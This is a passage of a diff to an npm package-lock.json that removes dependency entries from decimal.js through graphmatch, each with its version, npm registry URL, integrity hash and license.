"supports-color": { - "optional": true - } - } - }, - "node_modules/decimal.js": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - "license": "MIT" - }, - "node_modules/deepmerge": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/deepmerge-ts": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-8.0.2.tgz", - "integrity": "sha512-uqbvqLUMrc6p0MO+WBRtTxY55hmyh94WRwI5a++PZe54X+bfVh59FSN7uWCBCW1CCVjzjnrwzfI8zidE2obMMw==", - "devOptional": true, - "funding": [ - { - "type": "ko-fi", - "url": "https://ko-fi.com/rebeccastevens" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/deepmerge-ts" - } - ], - "license": "BSD-3-Clause", - "engines": { - "node": ">=16.9.0" - } - }, - "node_modules/defu": { - "version": "6.1.7", - "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.7.tgz", - "integrity": "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/delaunator": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.1.0.tgz", - "integrity": "sha512-AGrQ4QSgssa1NGmWmLPqN5NY2KajF5MqxetNEO+o0n3ZwZZeTmt7bBnvzHWrmkZFxGgr4HdyFgelzgi06otLuQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "robust-predicates": "^3.0.2" - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/destr": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz", - "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/dezalgo": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.4.tgz", - "integrity": "sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==", - "dev": true, - "license": "ISC", - "dependencies": { - "asap": "^2.0.0", - "wrappy": "1" - } - }, - "node_modules/dotenv": { - "version": "17.4.2", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", - "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/ecdsa-sig-formatter": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - } - }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", - "license": "MIT" - }, - "node_modules/effect": { - "version": "3.20.0", - "resolved": "https://registry.npmjs.org/effect/-/effect-3.20.0.tgz", - "integrity": "sha512-qMLfDJscrNG8p/aw+IkT9W7fgj50Z4wG5bLBy0Txsxz8iUHjDIkOgO3SV0WZfnQbNG2VJYb0b+rDLMrhM4+Krw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.0.0", - "fast-check": "^3.23.1" - } - }, - "node_modules/elkjs": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.11.1.tgz", - "integrity": "sha512-zxxR9k+rx5ktMwT/FwyLdPCrq7xN6e4VGGHH8hA01vVYKjTFik7nHOxBnAYtrgYUB1RpAiLvA1/U2YraWxyKKg==", - "devOptional": true, - "license": "EPL-2.0" - }, - "node_modules/embedded-postgres": { - "version": "18.4.0-beta.17", - "resolved": "https://registry.npmjs.org/embedded-postgres/-/embedded-postgres-18.4.0-beta.17.tgz", - "integrity": "sha512-ORT/A1YiO6ecpRHpyIIBgyCR/8ASqqYZuFw11aX9PkqTX3FUM5+9sNOXY1mGIixxsm2TWSIA5WghJEk7A5ZxVw==", - "dev": true, - "license": "MIT", - "dependencies": { - "async-exit-hook": "^2.0.1", - "pg": "^8.7.3" - }, - "engines": { - "node": ">=16" - }, - "optionalDependencies": { - "@embedded-postgres/darwin-arm64": "^18.4.0-beta.17", - "@embedded-postgres/darwin-x64": "^18.4.0-beta.17", - "@embedded-postgres/linux-arm": "^18.4.0-beta.17", - "@embedded-postgres/linux-arm64": "^18.4.0-beta.17", - "@embedded-postgres/linux-ia32": "^18.4.0-beta.17", - "@embedded-postgres/linux-ppc64": "^18.4.0-beta.17", - "@embedded-postgres/linux-x64": "^18.4.0-beta.17", - "@embedded-postgres/windows-x64": "^18.4.0-beta.17" - } - }, - "node_modules/empathic": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/empathic/-/empathic-2.0.0.tgz", - "integrity": "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=14" - } - }, - "node_modules/encodeurl": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/env-paths": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", - "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-module-lexer": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", - "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==", - "dev": true, - "license": "MIT" - }, - "node_modules/es-object-atoms": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/esbuild": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", - "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.28.2", - "@esbuild/android-arm": "0.28.2", - "@esbuild/android-arm64": "0.28.2", - "@esbuild/android-x64": "0.28.2", - "@esbuild/darwin-arm64": "0.28.2", - "@esbuild/darwin-x64": "0.28.2", - "@esbuild/freebsd-arm64": "0.28.2", - "@esbuild/freebsd-x64": "0.28.2", - "@esbuild/linux-arm": "0.28.2", - "@esbuild/linux-arm64": "0.28.2", - "@esbuild/linux-ia32": "0.28.2", - "@esbuild/linux-loong64": "0.28.2", - "@esbuild/linux-mips64el": "0.28.2", - "@esbuild/linux-ppc64": "0.28.2", - "@esbuild/linux-riscv64": "0.28.2", - "@esbuild/linux-s390x": "0.28.2", - "@esbuild/linux-x64": "0.28.2", - "@esbuild/netbsd-arm64": "0.28.2", - "@esbuild/netbsd-x64": "0.28.2", - "@esbuild/openbsd-arm64": "0.28.2", - "@esbuild/openbsd-x64": "0.28.2", - "@esbuild/openharmony-arm64": "0.28.2", - "@esbuild/sunos-x64": "0.28.2", - "@esbuild/win32-arm64": "0.28.2", - "@esbuild/win32-ia32": "0.28.2", - "@esbuild/win32-x64": "0.28.2" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - "license": "MIT" - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/eventsource": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", - "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", - "license": "MIT", - "dependencies": { - "eventsource-parser": "^3.0.1" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/eventsource-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", - "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", - "license": "MIT", - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/expect-type": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", - "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/express": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", - "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", - "license": "MIT", - "dependencies": { - "accepts": "^2.0.0", - "body-parser": "^2.2.1", - "content-disposition": "^1.0.0", - "content-type": "^1.0.5", - "cookie": "^0.7.1", - "cookie-signature": "^1.2.1", - "debug": "^4.4.0", - "depd": "^2.0.0", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "etag": "^1.8.1", - "finalhandler": "^2.1.0", - "fresh": "^2.0.0", - "http-errors": "^2.0.0", - "merge-descriptors": "^2.0.0", - "mime-types": "^3.0.0", - "on-finished": "^2.4.1", - "once": "^1.4.0", - "parseurl": "^1.3.3", - "proxy-addr": "^2.0.7", - "qs": "^6.14.0", - "range-parser": "^1.2.1", - "router": "^2.2.0", - "send": "^1.1.0", - "serve-static": "^2.2.0", - "statuses": "^2.0.1", - "type-is": "^2.0.1", - "vary": "^1.1.2" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/exsolve": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.3.tgz", - "integrity": "sha512-kuzL9zherLQoqDeQaS55AiiIg1kb4KYXaSusTtgZTPlvKP2gGCI82LNmBNh5RjDVUXIcmgx+/Mx7vPwRzBbhJA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/fast-check": { - "version": "3.23.2", - "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-3.23.2.tgz", - "integrity": "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==", - "devOptional": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT", - "dependencies": { - "pure-rand": "^6.1.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/fast-decode-uri-component": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/fast-decode-uri-component/-/fast-decode-uri-component-1.0.1.tgz", - "integrity": "sha512-WKgKWg5eUxvRZGwW8FvfbaH7AXSh2cL+3j5fMGzUMCxWBJ3dV3a7Wz8y2f/uQ0e3B6WmodD3oS54jTQ9HVTIIg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/fast-querystring": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/fast-querystring/-/fast-querystring-1.1.2.tgz", - "integrity": "sha512-g6KuKWmFXc0fID8WWH0jit4g0AGBoJhCkJMb1RmbsSEUNvQ+ZC8D6CUZ+GtF8nMzSPXnhiePyyqqipzNNEnHjg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "fast-decode-uri-component": "^1.0.1" - } - }, - "node_modules/fast-safe-stringify": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-uri": { - "version": "3.1.8", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", - "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", - "devOptional": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/feaxios": { - "version": "0.0.23", - "resolved": "https://registry.npmjs.org/feaxios/-/feaxios-0.0.23.tgz", - "integrity": "sha512-eghR0A21fvbkcQBgZuMfQhrXxJzC0GNUGC9fXhBge33D+mFDTwl0aJ35zoQQn575BhyjQitRc5N4f+L4cP708g==", - "license": "MIT", - "dependencies": { - "is-retry-allowed": "^3.0.0" - } - }, - "node_modules/finalhandler": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", - "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.0", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "on-finished": "^2.4.1", - "parseurl": "^1.3.3", - "statuses": "^2.0.1" - }, - "engines": { - "node": ">= 18.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/find-my-way": { - "version": "9.7.0", - "resolved": "https://registry.npmjs.org/find-my-way/-/find-my-way-9.7.0.tgz", - "integrity": "sha512-f2JHn75x2JlwUwLenZypgczR7YWMb/uO9BvUXtus+JMgkbIkLADd38cI4EiV+OQqrGo1Zlq6V8wnqMJ8e62wUQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-querystring": "^1.0.0", - "safe-regex2": "^5.0.0" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/follow-redirects": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.1.tgz", - "integrity": "sha512-FNvFGzoMLWmE6Yj9spb/zjd7yiNCHiAW9/Tg9CXrQ8wuu32HtlJOwWO11OJafl5FfY3DxTdQ0vj42zU1kvv5jg==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/foreground-child": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "cross-spawn": "^7.0.6", - "signal-exit": "^4.0.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/form-data": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.4", - "mime-types": "^2.1.35" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/form-data/node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/form-data/node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/formidable": { - "version": "3.5.4", - "resolved": "https://registry.npmjs.org/formidable/-/formidable-3.5.4.tgz", - "integrity": "sha512-YikH+7CUTOtP44ZTnUhR7Ic2UASBPOqmaRkRKxRbywPTe5VxF7RRCck4af9wutiZ/QKM5nME9Bie2fFaPz5Gug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@paralleldrive/cuid2": "^2.2.2", - "dezalgo": "^1.0.4", - "once": "^1.4.0" - }, - "engines": { - "node": ">=14.0.0" - }, - "funding": { - "url": "https://ko-fi.com/tunnckoCore/commissions" - } - }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/fresh": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", - "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/generate-function": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz", - "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "is-property": "^1.0.2" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-port-please": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/get-port-please/-/get-port-please-3.2.0.tgz", - "integrity": "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/giget": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/giget/-/giget-3.3.1.tgz", - "integrity": "sha512-r+mvuDjrjMpsdw46Kmeydb8bdHm7wOKw8wNBtTndkjbPjgAp5oUJUxRE76wZFknxIPokfWvep2qSXK37aXE6zg==", - "devOptional": true, - "license": "MIT", - "bin": { - "giget": "dist/cli.mjs" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/grammex": { - "version": "3.1.13", - "resolved": "https://registry.npmjs.org/grammex/-/grammex-3.1.13.tgz", - "integrity": "sha512-LnPnhOBLEJEVKS8WFDVaA397L9Kq55Q9oSITJiVLHVdhAclfUkWzQv74KhvZHKL2Q09Pb1XdsrOsZ4LfTFFTEg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/graphmatch": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/graphmatch/-/graphmatch-1.1.1.tgz", - "integrity": 